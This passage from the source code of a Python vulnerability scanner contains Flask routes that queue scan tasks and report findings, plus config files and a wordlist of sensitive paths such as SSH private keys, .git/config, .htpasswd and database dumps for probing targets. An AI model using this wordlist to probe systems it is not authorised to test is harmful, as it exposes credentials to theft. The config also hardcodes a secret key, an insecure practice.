210 | data = Status.objects[lens-(page_number*page_item_number):lens-(page_item_number*(page_number-1))]
211 | else:
212 | data = Status.objects[0 :lens-(page_item_number*(page_number-1))]
213 | for each in data:
214 | info = {}
215 | info['create_time'] = str(each.create_time).split('.')[0]
216 | info['task_name'] = cgi.escape(each.task_name)
217 | info['task_id'] = each.task_id
218 | info['status'] = each.status
219 | info['progress'] = each.progress
220 | info['warning'] = each.warning
221 | result.append(info)
222 | result.reverse()
223 | if show_type == 'page':
224 | page_result['info'] = result
225 | return json.dumps(page_result)
226 | return json.dumps(result)
227 |
228 | @kun.route('/vuln_list/', methods=['GET'])
229 | @login_required
230 | def VulnList(show_type):
231 | result = []
232 | page_result = {}
233 | if show_type == 'index':
234 | data = Vuln.objects.item_frequencies('script', normalize=True)
235 | data = OrderedDict(sorted(data.items(), key=lambda x: x[1], reverse=True))
236 | for script_id, percent in data.items():
237 | info = {}
238 | info['script'] = Script.objects(script_id=script_id).first().script_name
239 | info['count'] = str(Vuln.objects(script=script_id).count())
240 | info['percent'] = "%.02f%%" % (percent * 100)
241 | result.append(info)
242 | if len(result) > 10:
243 | result = result[0:10]
244 | elif show_type == 'all':
245 | data = Vuln.objects().all()
246 | for each in data:
247 | info = {}
248 | script = Script.objects(script_id=each.script).first()
249 | try:
250 | info['task_name'] = cgi.escape(Task.objects(task_id=each.task_id).first().task_name)
251 | except:
252 | info['task_name'] = u'该任务已删除,无法查看'
253 | info['task_id'] = each.task_id
254 | info['target'] = each.target
255 | info['script_name'] = script.script_name
256 | info['script_id'] = each.script
257 | info['message'] = each.message
258 | info['script_type'] = each.script_type
259 | info['time'] = str(each.create_time).split('.')[0]
260 | info['level'] = script.script_level
261 | result.append(info)
262 | result.reverse()
263 | elif show_type == 'page':
264 | page_number = int(request.args.get('p'))
265 | lens = len(Vuln.objects)
266 | page_result['total_page'] = str(lens//page_item_number+1)
267 | if page_number > lens//page_item_number+1:
268 | return json.dumps(page_result)
269 | if page_number * page_item_number < lens:
270 | data = Vuln.objects[lens-(page_number*page_item_number):lens-(page_item_number*(page_number-1))]
271 | else:
272 | data = Vuln.objects[0 :lens-(page_item_number*(page_number-1))]
273 | for each in data:
274 | info = {}
275 | script = Script.objects(script_id=each.script).first()
276 | try:
277 | info['task_name'] = cgi.escape(Task.objects(task_id=each.task_id).first().task_name)
278 | except:
279 | info['task_name'] = u'该任务已删除,无法查看'
280 | info['task_id'] = each.task_id
281 | info['target'] = each.target
282 | info['script_name'] = script.script_name
283 | info['script_id'] = each.script
284 | info['message'] = each.message
285 | info['script_type'] = each.script_type
286 | info['time'] = str(each.create_time).split('.')[0]
287 | info['level'] = script.script_level
288 | result.append(info)
289 | result.reverse()
290 | page_result['info'] = result
291 | return json.dumps(page_result)
292 | return json.dumps(result)
293 |
294 | @kun.route('/get_scripts', methods=['GET'])
295 | @login_required
296 | def GetScripts():
297 | result = []
298 | scripts = Script.objects().all()
299 | for script in scripts:
300 | info = {}
301 | info['name'] = script.script_name
302 | info['id'] = script.script_id
303 | result.append(info)
304 | return json.dumps(result)
305 |
306 | #3
307 | @kun.route('/script_list/',methods=['GET'])
308 | @login_required
309 | def ScriptList(show_type):
310 | result = []
311 | page_result={}
312 | if show_type == 'index':
313 | data = Vuln.objects.item_frequencies('script', normalize=True)
314 | data = OrderedDict(sorted(data.items(), key=lambda x: x[1], reverse=True))
315 | for script_id,percent in data.items():
316 | script = Script.objects(script_id=script_id).first()
317 | info = {}
318 | info['name'] = script.script_name
319 | info['create_time'] = script.script_update_time
320 | info['author'] = script.script_author
321 | info['title'] = script.script_title
322 | info['level'] = script.script_level
323 | result.append(info)
324 | if len(result) > 10:
325 | result = result[0:10]
326 | elif show_type == 'all':
327 | data = Script.objects.all()
328 | for each in data:
329 | info = {}
330 | info['id'] = each.script_id
331 | info['detail'] = each.script_info
332 | info['create_time'] = each.script_update_time
333 | info['author'] = each.script_author
334 | info['level'] = each.level
335 | result.append(info)
336 | result.reverse()
337 | elif show_type == 'page':
338 | page_number = int(request.args.get('p'))
339 | lens = len(Script.objects)
340 | page_result['total_page'] = str(lens//page_item_number+1)
341 | if page_number > lens//page_item_number+1:
342 | return json.dumps(page_result)
343 | if page_number * page_item_number < lens:
344 | data = Script.objects[lens-(page_number*page_item_number):lens-(page_item_number*(page_number-1))]
345 | else:
346 | data = Script.objects[0 :lens-(page_item_number*(page_number-1))]
347 | for each in data:
348 | info = {}
349 | info['id'] = each.script_id
350 | info['detail'] = each.script_info
351 | info['create_time'] = each.script_update_time
352 | info['author'] = each.script_author
353 | info['level'] = each.script_level
354 | info['count'] = Vuln.objects(script=each.script_id).count()
355 | info['title'] = each.script_title
356 | result.append(info)
357 | result.reverse()
358 | page_result['info'] = result
359 | return json.dumps(page_result)
360 | return json.dumps(result)
361 |
362 |
363 | @kun.route('/task_count',methods=['GET'])
364 | @login_required
365 | def TaskCount():
366 | result = {}
367 | result['running'] = str(Status.objects(status = STATUS.RUN).count())
368 | result['waiting'] = str(Status.objects(status=STATUS.WAIT).count())
369 | result['finish'] = str(Status.objects(status=STATUS.FINISH).count())
370 | result['fail'] = str(Status.objects(status=STATUS.FAIL).count())
371 | return json.dumps(result)
372 |
373 |
374 | @kun.route('/api_list',methods=['GET'])
375 | @login_required
376 | def index():
377 | return json.dumps(APIInfo())
378 |
379 |
380 | # #获得任务结果
381 | # @kun.route('/task_result/',methods=['GET'])
382 | # @login_required
383 | # def TaskResult(task_id):
384 | # query_message = {}
385 | # if not Result.objects(task_id=task_id).first():
386 | # query_message['success'] = False
387 | # query_message['message'] = 'Task_id does not exist or the task has not been completed'
388 | # return json.dumps(query_message)
389 | # result = Result.objects(task_id=task_id).first()
390 | # return result['result']
391 |
392 | # #获得任务状态
393 | # @kun.route('/task_status/',methods=['GET'])
394 | # @login_required
395 | # def TaskStatus(task_id):
396 | # query_message = {}
397 | # if not Result.objects(task_id=task_id).first():
398 | # query_message['success'] = False
399 | # query_message['message'] = 'Task_id does not exist'
400 | # return json.dumps(query_message)
401 | # status = Status.objects(task_id=task_id).first()
402 | # return status.to_json()
403 |
404 | #更新插件信息至数据库
405 | @kun.route('/script_update',methods=['GET'])
406 | @login_required
407 | def ScriptUpdate():
408 | message = {}
409 | try:
410 | scripts_info = ScriptsInfo()
411 | Script.objects().delete()
412 | for script in scripts_info:
413 | if Script.objects(script_id = hashlib.md5(script['name']).hexdigest()).count() == 0:
414 | Script(
415 | script_id=hashlib.md5(script['name']).hexdigest(),
416 | script_name=script['name'],
417 | script_info=script['info'],
418 | script_author=script['author'],
419 | script_update_time=script['time'],
420 | script_level=script['level'],
421 | script_title=script['title']
422 | ).save()
423 | except Exception,e:
424 | message['success'] = False
425 | message['message'] = repr(e)
426 | return json.dumps(message)
427 | message['success'] = True
428 | message['message'] = time.strftime("%Y/%m.%d %H:%M:%S", time.localtime())
429 | return json.dumps(message)
430 |
431 |
432 | @kun.route('/celery_task_status/',methods=['GET'])
433 | @login_required
434 | def GetTaskStatusFromCelery(task_id):
435 | message = {}
436 | task = celery.AsyncResult(task_id)
437 | message['status'] = task.state
438 | return json.dumps(message)
439 |
440 |
441 |
442 |
443 | @kun.route('/add_task',methods=['POST'])
444 | @login_required
445 | def AddNewTask():
446 | try:
447 | data = json.loads(request.get_data())
448 | task_type = data['task_type']
449 | task_name = data['task_name']
450 | except:
451 | task_type = request.form['task_type']
452 | task_name = request.form['task_name']
453 | result = CheckTaskName(task_name)
454 | if result != True:
455 | return json.dumps(result)
456 | if task_type == TASKTYPE.URL:
457 | target = data['target']
458 | script = data['script']
459 | message = AddUrlTask(target,script,task_name)
460 | if task_type == TASKTYPE.IPS:
461 | target = data['target']
462 | script = data['script']
463 | message = AddIpsTask(target, script, task_name)
464 | if task_type == TASKTYPE.SPIDER:
465 | target = data['target']
466 | script = data['script']
467 | try:
468 | number = int(data['number'])
469 | except:
470 | number = None
471 | message = AddSpiderTask(target, script, task_name,number)
472 | if int(task_type) == TASKTYPE.FILE:
473 | script = request.form['script']
474 | file = request.files['file']
475 | file_path = FileUpload(file)
476 | message = AddFileTask(file_path,script,task_name)
477 | if int(task_type) == TASKTYPE.API:
478 | print 1
479 | keyword = None
480 | number = None
481 | search_type = None
482 | file_path = None
483 | try:
484 | api_name = data['api_name']
485 | except:
486 | api_name = request.form['api_name']
487 | if api_name == APINAME.SUBDOMAIN:
488 | file = request.files['file']
489 | file_path = FileUpload(file)
490 | script = request.form['script']
491 | else:
492 | keyword = data['keyword']
493 | script = data['script']
494 | try:
495 | number = int(data['number'])
496 | except:
497 | number = None
498 | if api_name == APINAME.ZOOMEYE:
499 | try:
500 | search_type = data['search_type']
501 | except:
502 | search_type = None
503 | else:
504 | search_type = None
505 | message = AddApiTask(api_name,keyword,script,task_name,number,search_type,file_path)
506 | return json.dumps(message)
507 |
508 | def AddUrlTask(target,scripts,task_name):
509 | message = {}
510 | if CheckIp(target) == False and CheckDomain(target) == False:
511 | message['success'] = False
512 | message['message'] = u'输入目标不合法,请重新输入'
513 | return message
514 | scripts_name = ScriptIdToScriptName(scripts)
515 | result = CheckScript(scripts_name)
516 | if result != True:
517 | return result
518 | task = UrlScanTask.apply_async(args=[target,scripts_name,task_name])
519 | message = CreateTaskToDatabase(task.id, task_name)
520 | return message
521 |
522 | def AddIpsTask(target,scripts,task_name):
523 | message = {}
524 | if '-' not in target and '/' not in target:
525 | message['success'] = False
526 | message['message'] = u'输入目标不合法,请重新输入'
527 | return message
528 | scripts_name = ScriptIdToScriptName(scripts)
529 | result = CheckScript(scripts_name)
530 | if result != True:
531 | return result
532 | task = IPSScanTask.apply_async(args=[target, scripts_name, task_name])
533 | message = CreateTaskToDatabase(task.id, task_name)
534 | return message
535 |
536 | def AddSpiderTask(target,scripts,task_name,number):
537 | message = {}
538 | if CheckIp(target) == False and CheckDomain(target) == False:
539 | message['success'] = False
540 | message['message'] = u'输入目标不合法,请重新输入'
541 | return message
542 | scripts_name = ScriptIdToScriptName(scripts)
543 | result = CheckScript(scripts_name)
544 | if result != True:
545 | return result
546 | task = SpiderScanTask.apply_async(args=[target, scripts_name, task_name,number])
547 | message = CreateTaskToDatabase(task.id, task_name)
548 | return message
549 |
550 | def AddApiTask(api_name,keyword,scripts,task_name,number,search_type,file_path):
551 | message = {}
552 | if api_name == APINAME.ZOOMEYE:
553 | search_type_list = ['web','host']
554 | if search_type not in search_type_list and search_type:
555 | message['success'] = False
556 | message['message'] = u'API 搜索类型不正确'
557 | return message
558 | if api_name not in APIInfo():
559 | message['success'] = False
560 | message['message'] = u'没有找到当前选择的API'
561 | return message
562 | scripts_name = ScriptIdToScriptName(scripts)
563 | result = CheckScript(scripts_name)
564 | if result != True:
565 | return result
566 | if api_name == APINAME.ZOOMEYE or api_name == APINAME.BAIDU:
567 | if not keyword:
568 | message['success'] = False
569 | message['message'] = u'请输入查询API的关键字'
570 | return message
571 | task = ApiScanTask.apply_async(args=[api_name, keyword, scripts_name, task_name, number,search_type,file_path])
572 | message = CreateTaskToDatabase(task.id, task_name)
573 | return message
574 |
575 | def AddFileTask(file_path,scripts,task_name):
576 | scripts_name = ScriptIdToScriptName(scripts)
577 | result = CheckScript(scripts_name)
578 | if result != True:
579 | return result
580 | task = FileScanTask.apply_async(args=[file_path, scripts_name, task_name])
581 | message = CreateTaskToDatabase(task.id, task_name)
582 | return message
583 |
584 | def FileUpload(file):
585 | ext = file.filename.rsplit('.', 1)[1]
586 | now_time = lambda:int(round(time.time() * 1000))
587 | file_name = str(now_time())+'.'+ext
588 | file.save(os.path.join(UPLOAD_FOLDER, file_name))
589 | return os.path.join(UPLOAD_FOLDER, file_name)
590 |
591 | def CreateTaskToDatabase(task_id,task_name):
592 | message = {}
593 | AddTaskToDataBase(task_id, task_name)
594 | message['success'] = True
595 | message['message'] = u'创建扫描任务成功'
596 | return message
597 |
598 |
599 | def CheckTaskName(task_name):
600 | message = {}
601 | if not task_name:
602 | message['success'] = False
603 | message['message'] = u'请输入本次扫描的任务名称'
604 | return message
605 | else:
606 | return True
607 |
608 |
609 | def CheckScript(scripts_name):
610 | message = {}
611 | if scripts_name == '':
612 | message['success'] = False
613 | message['message'] = u'没有找到选择的部分脚本,可能是脚本更新但数据库没有更新导致,请点击用户栏“更新插件”按钮,对插件列表进行更新'
614 | return message
615 | else:
616 | return True
617 |
618 |
619 |
620 | def ScriptIdToScriptName(scripts):
621 | md5_reg = r'^[a-z0-9]{32}'
622 | script_list = []
623 | script_tmp = []
624 | if ',' in scripts:
625 | script_list = scripts.split(',')
626 | else:
627 | if re.match(re.compile(md5_reg),scripts):
628 | script_list.append(scripts)
629 | for script_id in script_list:
630 | if re.match(re.compile(md5_reg),script_id):
631 | script = Script.objects(script_id=script_id).first()
632 | if script == None:
633 | return ''
634 | script_tmp.append(script.script_name)
635 | else:
636 | return ''
637 | scripts_name = ','.join(script_tmp)
638 |
639 | return scripts_name
640 |
641 | def CheckIp(ip):
642 | if not ip.startswith('http'):
643 | ip = 'http://' + ip
644 | up = urlparse.urlparse(ip)
645 | if up.netloc:
646 | if ':' in up.netloc:
647 | ip = up.netloc.split(':')[0]
648 | else:
649 | ip = up.netloc
650 | regex = re.compile(r'^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
651 | if regex.match(ip):
652 | return True
653 | else:
654 | return False
655 |
656 |
657 | def CheckDomain(domain):
658 | if not domain.startswith('http'):
659 | domain = 'http://' + domain
660 | up = urlparse.urlparse(domain)
661 | if up.netloc:
662 | if ':' in up.netloc:
663 | d = up.netloc.split(':')[0]
664 | else:
665 | d = up.netloc
666 | regex = re.compile(r'(?i)^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$')
667 | if regex.match(d):
668 | return True
669 | else:
670 | return False
671 |
672 |
673 | def AddTaskToDataBase(task_id,task_name):
674 | if not Status.objects(task_id=task_id).count():
675 | Status(
676 | task_id=task_id,
677 | task_name=task_name,
678 | warning='',
679 | progress='0',
680 | status='Waiting'
681 | ).save()
682 |
683 | @kun.route('/task_delete/',methods=['GET'])
684 | @login_required
685 | def DeleteTask(task_id):
686 | result = {}
687 | if Status.objects(task_id=task_id).count():
688 | status = Status.objects(task_id=task_id).first()
689 | if status.status == STATUS.WAIT or status.status == STATUS.RUN:
690 | try:
691 | celery.control.revoke(task_id,terminate=True)
692 | status.update(status=STATUS.CLOSE)
693 | result['success'] = True
694 | except:
695 | result['success'] = False
696 | else:
697 | try:
698 | status.delete()
699 | task = Task.objects(task_id=task_id).first()
700 | if task:
701 | task.delete()
702 | result['success'] = True
703 | except:
704 | result['success'] = False
705 | else:
706 | result['success'] = False
707 | return json.dumps(result)
708 |
709 | @kun.route('/search/',methods=['GET'])
710 | @login_required
711 | def DataSearch(search_type):
712 | keyword = request.args.get('keyword')
713 | page_number = int(request.args.get('p'))
714 | result = []
715 | page_result = {}
716 | if search_type == 'script':
717 | lens = len(Script.objects(__raw__={'script_info': re.compile(keyword)}).all())
718 | page_result['total_page'] = str(lens // page_item_number + 1)
719 | if page_number > lens // page_item_number + 1:
720 | return json.dumps(page_result)
721 | if page_number * page_item_number < lens:
722 | scripts = Script.objects(__raw__={'script_info': re.compile(keyword)})[
723 | lens - (page_number * page_item_number):lens - (page_item_number * (page_number - 1))]
724 | else:
725 | scripts = Script.objects(__raw__={'script_info': re.compile(keyword)})[
726 | 0:lens - (page_item_number * (page_number - 1))]
727 | for each in scripts:
728 | info = {}
729 | info['id'] = each.script_id
730 | info['detail'] = each.script_info
731 | info['create_time'] = each.script_update_time
732 | info['author'] = each.script_author
733 | info['level'] = each.script_level
734 | info['count'] = Vuln.objects(script=each.script_id).count()
735 | info['title'] = each.script_title
736 | result.append(info)
737 | elif search_type == 'task':
738 | lens = len(Status.objects(__raw__={'task_name': re.compile(keyword)}).all())
739 | page_result['total_page'] = str(lens // page_item_number + 1)
740 | if page_number > lens // page_item_number + 1:
741 | return json.dumps(page_result)
742 | if page_number * page_item_number < lens:
743 | tasks = Status.objects(__raw__={'task_name': re.compile(keyword)})[
744 | lens - (page_number * page_item_number):lens - (page_item_number * (page_number - 1))]
745 | else:
746 | tasks = Status.objects(__raw__={'task_name': re.compile(keyword)})[
747 | 0:lens - (page_item_number * (page_number - 1))]
748 | for each in tasks:
749 | info = {}
750 | info['create_time'] = str(each.create_time).split('.')[0]
751 | info['task_name'] = cgi.escape(each.task_name)
752 | info['task_id'] = each.task_id
753 | info['status'] = each.status
754 | info['progress'] = each.progress
755 | result.append(info)
756 | elif search_type == 'vuln':
757 | lens = len(Vuln.objects(__raw__={'target': re.compile(keyword)}).all())
758 | page_result['total_page'] = str(lens // page_item_number + 1)
759 | if page_number > lens // page_item_number + 1:
760 | return json.dumps(page_result)
761 | if page_number * page_item_number < lens:
762 | vulns = Vuln.objects(__raw__={'target': re.compile(keyword)})[lens - (page_number * page_item_number):lens - (page_item_number * (page_number - 1))]
763 | else:
764 | vulns = Vuln.objects(__raw__={'target': re.compile(keyword)})[0:lens - (page_item_number * (page_number - 1))]
765 | for each in vulns:
766 | info = {}
767 | script = Script.objects(script_id=each.script).first()
768 | try:
769 | info['task_name'] = cgi.escape(Task.objects(task_id=each.task_id).first().task_name)
770 | except:
771 | info['task_name'] = u'该任务已删除,无法查看'
772 | info['task_id'] = each.task_id
773 | info['target'] = each.target
774 | info['script_name'] = script.script_name
775 | info['script_id'] = each.script
776 | info['message'] = each.message
777 | info['script_type'] = each.script_type
778 | info['time'] = str(each.create_time).split('.')[0]
779 | info['level'] = script.script_level
780 | result.append(info)
781 | page_result['info'] = result
782 | return json.dumps(page_result)
783 |
784 | @kun.route('/task_info/',methods=['GET'])
785 | @login_required
786 | def TaskInfo(task_id):
787 | result = {}
788 | result['info'] = {}
789 | status = Status.objects(task_id=task_id).first()
790 | if not status:
791 | result['success'] = False
792 | result['message'] = u'任务ID不存在。'
793 | return json.dumps(result)
794 | if status.status == STATUS.WAIT:
795 | result['success'] = False
796 | result['message'] = u'任务尚未开始,请等待。'
797 | return json.dumps(result)
798 | if status.status == STATUS.RUN:
799 | result['success'] = False
800 | result['message'] = u'扫描正在进行中,请等待。'
801 | return json.dumps(result)
802 | if status.status == STATUS.CLOSE:
803 | result['success'] = False
804 | result['message'] = u'该任务已关闭,无法查看。'
805 | return json.dumps(result)
806 | if status.status == STATUS.FAIL:
807 | result['success'] = False
808 | result['message'] = str(status.warning)
809 | return json.dumps(result)
810 | task = Task.objects(task_id = task_id).first()
811 | if not task:
812 | result['success'] = False
813 | result['message'] = u'任务ID不存在.'
814 | return json.dumps(result)
815 | scan_result = Result.objects(task_id=task_id).first()
816 | result['info']['task_name'] = cgi.escape(task.task_name)
817 | result['info']['input_target'] = task.short_target
818 | result['info']['scan_mode'] = task.scan_mode
819 | result['info']['target_type'] = task.target_type
820 | result['info']['script_type'] = task.script_type
821 | result['info']['start_time'] = str(task.start_time).split('.')[0]
822 | result['info']['finish_time'] = str(task.finish_time).split('.')[0]
823 | result['info']['target_number'] = task.target_number
824 | result['info']['full_target'] = task.full_target
825 | result['info']['script_number'] = len(json.loads(task.script_info))
826 | result['info']['high_count'] = scan_result.high_count
827 | result['info']['medium_count'] = scan_result.medium_count
828 | result['info']['low_count'] = scan_result.low_count
829 | result['info']['result'] = scan_result.result
830 | scripts_list = []
831 | for script_name in json.loads(task.script_info):
832 | script_data = {}
833 | script = Script.objects(script_name=script_name).first()
834 | script_data['script_name'] = script_name
835 | script_data['script_title'] = script.script_title
836 | script_data['script_id'] = script.script_id
837 | script_data['script_level'] = script.script_level
838 | scripts_list.append(script_data)
839 | result['info']['scripts_info'] = scripts_list
840 | result['info']['warning'] = status.warning
841 | result['success'] = True
842 | result['message'] = ''
843 | return json.dumps(result)
844 |
845 | @kun.route('/scanner_data',methods=['GET'])
846 | @login_required
847 | def DataInfo():
848 | result = {}
849 | result['vuln_count'] = Vuln.objects().all().count()
850 | result['script_count'] = Script.objects.all().count()
851 | return json.dumps(result)
852 |
853 |
854 | @kun.route('/script_vuln_info/',methods=['GET'])
855 | @login_required
856 | def ScriptVulnInfo(script_id):
857 | page_number = int(request.args.get('p'))
858 | page_result = {}
859 | result = []
860 | lens = Vuln.objects(script = script_id).count()
861 | page_result['total_page'] = str(lens // page_item_number + 1)
862 | if page_number > lens // page_item_number + 1:
863 | return json.dumps(page_result)
864 | if page_number * page_item_number < lens:
865 | vulns = Vuln.objects(script = script_id)[
866 | lens - (page_number * page_item_number):lens - (page_item_number * (page_number - 1))]
867 | else:
868 | vulns = Vuln.objects(script = script_id)[0:lens - (page_item_number * (page_number - 1))]
869 | for each in vulns:
870 | info = {}
871 | script = Script.objects(script_id=each.script).first()
872 | try:
873 | info['task_name'] = cgi.escape(Task.objects(task_id=each.task_id).first().task_name)
874 | except:
875 | info['task_name'] = u'该任务已删除,无法查看'
876 | info['task_id'] = each.task_id
877 | info['target'] = each.target
878 | info['script_name'] = script.script_name
879 | info['script_id'] = each.script
880 | info['message'] = each.message
881 | info['script_type'] = each.script_type
882 | info['time'] = str(each.create_time).split('.')[0]
883 | info['level'] = script.script_level
884 | result.append(info)
885 | page_result['info'] = result
886 | return json.dumps(page_result)
887 |
888 |
889 |
890 |
891 |
892 |
893 |
894 |
895 |
896 |
897 |
--------------------------------------------------------------------------------
/config.py:
--------------------------------------------------------------------------------
1 |
2 | SECRET_KEY = ";sp1N8UP@TDA$&X]Hit^rx[2"
3 |
4 | MONGODB_DB = 'kun'
5 | MONGODB_HOST = '127.0.0.1'
6 | MONGODB_PORT = 27017
7 |
8 | CELERY_BROKER_URL='redis://localhost:6379/0'
9 | CELERY_RESULT_BACKEND='redis://localhost:6379/0'
10 | CELERY_TRACK_STARTED=True
11 | CELERY_IGNORE_RESULT=False
--------------------------------------------------------------------------------
/gunicorn.conf:
--------------------------------------------------------------------------------
1 | import os
2 | bind = '0.0.0.0:5000'
3 | workers = 4
4 | backlog = 2048
5 | worker_class = "sync"
6 | proc_name = 'gunicorn.proc'
7 | pidfile = '/tmp/gunicorn.pid'
8 | logfile = '/var/log/gunicorn/debug.log'
9 | loglevel = 'debug'
10 |
--------------------------------------------------------------------------------
/kun.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:14
3 | # @author : Xmchx
4 | # @File : kun.py
5 |
6 | from kunscanner.scanner import Main as Scanner
7 |
8 | def main():
9 | Scanner('console')
10 |
11 |
12 |
13 | if __name__ == '__main__':
14 | main()
--------------------------------------------------------------------------------
/kunscanner/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:35
3 | # @author : Xmchx
4 | # @File : __init__.py
--------------------------------------------------------------------------------
/kunscanner/dict/ignore_domain:
--------------------------------------------------------------------------------
1 | *.wordpress.org
2 | www.beian.gov.cn
3 | biaozhi.conac.cn
--------------------------------------------------------------------------------
/kunscanner/dict/weak_file:
--------------------------------------------------------------------------------
1 | /debug.txt
2 | /.bash_history
3 | /.rediscli_history
4 | /.bashrc
5 | /.bash_profile
6 | /.bash_logout
7 | /.vimrc
8 | /.DS_Store
9 | /.history
10 | /.htaccess
11 | /htaccess.bak
12 | /.htpasswd
13 | /.htpasswd.bak
14 | /htpasswd.bak
15 | /nohup.out
16 | /.mysql_history
17 | /httpd.conf
18 | /web.config
19 | /server-status
20 | /solr/
21 | /examples/
22 | /manager/html
23 | /config/database.yml
24 | /database.yml
25 | /db.conf
26 | /db.ini
27 | /jmx-console/HtmlAdaptor
28 | /memadmin/index.php
29 | /phpmyadmin/index.php
30 | /phpMyAdmin/index.php
31 | /_phpmyadmin/index.php
32 | /pma/index.php
33 | /resin-admin/
34 | /.svn/entries
35 | /.git/config
36 | /.git/index
37 | /.git/HEAD
38 | /.gitignore
39 | /.ssh/known_hosts
40 | /.ssh/id_rsa
41 | /id_rsa
42 | /.ssh/id_rsa.pub
43 | /.ssh/id_dsa
44 | /id_dsa
45 | /.ssh/id_dsa.pub
46 | /.ssh/authorized_keys
47 | /readme
48 | /README
49 | /readme.md
50 | /readme.html
51 | /changelog.txt
52 | /data.txt
53 | /install.txt
54 | /INSTALL.TXT
55 | /install.sh
56 | /deploy.sh
57 | /upload.sh
58 | /setup.sh
59 | /backup.sh
60 | /rsync.sh
61 | /sync.sh
62 | /test.sh
63 | /run.sh
64 | /config.php
65 | /config/config.php
66 | /config.inc
67 | /config.php.bak
68 | /db.php.bak
69 | /conf/config.ini
70 | /config.ini
71 | /config/config.ini
72 | /configuration.ini
73 | /configs/application.ini
74 | /settings.ini
75 | /application.ini
76 | /conf.ini
77 | /app.ini
78 | /config.json
79 | /application/configs/application.ini
80 | /.idea/workspace.xml
81 | /.idea/modules.xml
82 | /a.out
83 | /key
84 | /keys
85 | /key.txt
86 | /temp.txt
87 | /tmp.txt
88 | /php.ini
89 | /sftp-config.json
90 | /index.php.bak
91 | /.index.php.swp
92 | /index.cgi.bak
93 | /config.inc.php.bak
94 | /.config.inc.php.swp
95 | /config/.config.php.swp
96 | /.config.php.swp
97 | /.settings.php.swp
98 | /.database.php.swp
99 | /.db.php.swp
100 | /.mysql.php.swp
101 | /temp.zip
102 | /temp.rar
103 | /temp.tar.gz
104 | /temp.tgz
105 | /temp.tar.bz2
106 | /package.zip
107 | /package.rar
108 | /package.tar.gz
109 | /package.tgz
110 | /package.tar.bz2
111 | /tmp.zip
112 | /tmp.rar
113 | /tmp.tar.gz
114 | /tmp.tgz
115 | /tmp.tar.bz2
116 | /test.zip
117 | /test.rar
118 | /test.tar.gz
119 | /test.tgz
120 | /test.tar.bz2
121 | /backup.zip
122 | /backup.rar
123 | /backup.tar.gz
124 | /backup.tgz
125 | /back.tar.bz2
126 | /db.zip
127 | /db.rar
128 | /db.tar.gz
129 | /db.tgz
130 | /db.tar.bz2
131 | /db.inc
132 | /db.sqlite
133 | /db.sql.gz
134 | /dump.sql.gz
135 | /database.sql.gz
136 | /backup.sql.gz
137 | /data.sql.gz
138 | /data.zip
139 | /data.rar
140 | /data.tar.gz
141 | /data.tgz
142 | /data.tar.bz2
143 | /database.zip
144 | /database.rar
145 | /database.tar.gz
146 | /database.tgz
147 | /database.tar.bz2
148 | /ftp.zip
149 | /ftp.rar
150 | /ftp.tar.gz
151 | /ftp.tgz
152 | /ftp.tar.bz2
153 | /web.zip
154 | /web.rar
155 | /web.tar.gz
156 | /web.tgz
157 | /web.tar.bz2
158 | /www.zip
159 | /www.rar
160 | /www.tar.gz
161 | /www.tgz
162 | /www.tar.bz2
163 | /wwwroot.zip
164 | /wwwroot.rar
165 | /wwwroot.tar.gz
166 | /wwwroot.tgz
167 | /wwwroot.tar.bz2
168 | /output.tar.gz
169 | /admin.zip
170 | /admin.rar
171 | /admin.tar.gz
172 | /admin.tgz
173 | /admin.tar.bz2
174 | /upload.zip
175 | /upload.rar
176 | /upload.tar.gz
177 | /upload.tgz
178 | /upload.tar.bz2
179 | /website.zip
180 | /website.rar
181 | /website.tar.gz
182 | /website.tgz
183 | /website.tar.bz2
184 | /package.zip
185 | /package.rar
186 | /package.tar.gz
187 | /package.tgz
188 | /package.tar.bz2
189 | /sql.zip
190 | /sql.rar
191 | /sql.tar.gz
192 | /sql.tgz
193 | /sql.tar.bz2
194 | /sql.7z
195 | /data.sql
196 | /database.sql
197 | /db.sql
198 | /test.sql
199 | /admin.sql
200 | /backup.sql
201 | /dump.sql
202 | /index.zip
203 | /index.7z
204 | /index.bak
205 | /index.rar
206 | /index.tar.tz
207 | /index.tar.bz2
208 | /index.tar.gz
209 | /old.zip
210 | /old.rar
211 | /old.tar.gz
212 | /old.tar.bz2
213 | /old.tgz
214 | /old.7z
215 | /1.tar.gz
216 | /a.tar.gz
217 | /x.tar.gz
218 | /o.tar.gz
219 | /conf/conf.zip
220 | /conf.tar.gz
221 | /config.tar.gz
222 | /proxy.pac
223 | /server.cfg
224 | /deploy.tar.gz
225 | /build.tar.gz
226 | /install.tar.gz
227 | /site.tar.gz
228 | /webroot.zip
229 | /tools.tar.gz
230 | /webserver.tar.gz
231 | /htdocs.tar.gz
232 | /src.tar.gz
233 | /code.tar.gz
234 | /phpinfo.php
235 | /info.php
236 | /pi.php
237 | /i.php
238 | /php.php
239 | /mysql.php
240 | /sql.php
241 | /shell.php
242 | /apc.php
243 | /test.php
244 | /test2.php
245 | /test.html
246 | /test2.html
247 | /test.txt
248 | /test2.txt
249 | /debug.php
250 | /a.php
251 | /b.php
252 | /t.php
253 | /x.php
254 | /1.php
255 | /test.cgi
256 | /test-cgi
257 | /cgi-bin/test-cgi
258 | /WEB-INF/web.xml
259 | /WEB-INF/web.xml.bak
260 | /WEB-INF/applicationContext.xml
261 | /WEB-INF/applicationContext-slave.xml
262 | /WEB-INF/config.xml
263 | /WEB-INF/spring.xml
264 | /WEB-INF/struts-config.xml
265 | /WEB-INF/struts-front-config.xml
266 | /WEB-INF/struts/struts-config.xml
267 | /WEB-INF/classes/spring.xml
268 | /WEB-INF/classes/struts.xml
269 | /WEB-INF/classes/struts_manager.xml
270 | /WEB-INF/classes/conf/datasource.xml
271 | /WEB-INF/classes/data.xml
272 | /WEB-INF/classes/config/applicationContext.xml
273 | /WEB-INF/classes/applicationContext.xml
274 | /WEB-INF/classes/conf/spring/applicationContext-datasource.xml
275 | /WEB-INF/config/db/dataSource.xml
276 | /WEB-INF/spring-cfg/applicationContext.xml
277 | /WEB-INF/dwr.xml
278 | /WEB-INF/classes/hibernate.cfg.xml
279 | /WEB-INF/classes/rabbitmq.xml
280 | /WEB-INF/conf/activemq.xml
281 | /server.xml
282 | /configprops
283 | /WEB-INF/database.properties
284 | /WEB-INF/web.properties
